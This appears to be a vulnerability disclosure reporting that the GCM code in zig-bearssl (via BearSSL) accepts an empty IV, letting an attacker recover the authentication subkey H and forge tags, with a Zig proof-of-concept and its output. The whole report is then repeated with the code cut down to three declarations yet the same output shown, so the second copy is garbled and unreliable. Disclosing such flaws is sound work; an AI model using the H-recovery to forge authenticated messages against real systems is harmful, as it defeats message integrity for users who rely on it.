The GCM implementation in zig-bearssl (via the underlying BearSSL library) allows an empty nonce (IV) to be used. When the IV length is zero, the authentication subkey H can be recovered by an attacker, allowing them to forge arbitrary messages with valid authentication tags.
This behavior violates the NIST SP 800-38D standard, which explicitly prohibits zero-length IVs for GCM.
The following Zig code demonstrates the issue by encrypting empty plaintext with an empty IV and empty AAD. The resulting tag is directly equal to the authentication subkey H, confirming the vulnerability. (Note: empty plaintext and AAD are permitted by the GCM specification.)
const std = @import("std");
const bearssl = @import("bearssl");
pub fn main() !void {
var ctx: bearssl.br_gcm_context = undefined;
var tag: [16]u8 = undefined;
var h: [16]u8 = undefined;
// Use vtable and GHASH implementation exported by zig-bearssl
const bctx: *const bearssl.br_block_ctr_class = &bearssl.br_aes_ct64_ctr_vtable;
const gh = bearssl.br_ghash_ctmul64;
bearssl.br_gcm_init(&ctx, &bctx, gh);
std.mem.copy(u8, &h, &ctx.h);
bearssl.br_gcm_reset(&ctx, null, 0); // empty IV (length 0)
bearssl.br_gcm_aad_inject(&ctx, null, 0);
bearssl.br_gcm_flip(&ctx);
bearssl.br_gcm_run(&ctx, 1, null, 0); // empty plaintext
bearssl.br_gcm_get_tag(&ctx, &tag);
const stdout = std.io.getStdOut().writer();
try stdout.print("H: ", .{});
for (h) |b| try stdout.print("{x:0>2}", .{b});
try stdout.print("\nTag: ", .{});
for (tag) |b| try stdout.print("{x:0>2}", .{b});
try stdout.print("\n", .{});
if (std.mem.eql(u8, &h, &tag)) {
try stdout.print("Match! Empty IV results in Tag = H\n", .{});
} else {
try stdout.print("Not match\n", .{});
}
}
output:
H: 49439c63679dc163daf03a63571a1063
Tag: 49439c63679dc163daf03a63571a1063
Match! Empty IV results in Tag = H
The GCM implementation in zig-bearssl (via the underlying BearSSL library) allows an empty nonce (IV) to be used. When the IV length is zero, the authentication subkey H can be recovered by an attacker, allowing them to forge arbitrary messages with valid authentication tags.
This behavior violates the NIST SP 800-38D standard, which explicitly prohibits zero-length IVs for GCM.
The following Zig code demonstrates the issue by encrypting empty plaintext with an empty IV and empty AAD. The resulting tag is directly equal to the authentication subkey H, confirming the vulnerability. (Note: empty plaintext and AAD are permitted by the GCM specification.)
const std = @import("std");
const bearssl = @import("bearssl");
pub fn main() !void {
var ctx: bearssl.br_gcm_context = undefined;
var tag: [16]u8 = undefined;
var h: [16]u8 = undefined;
}
output:
H: 49439c63679dc163daf03a63571a1063
Tag: 49439c63679dc163daf03a63571a1063
Match! Empty IV results in Tag = H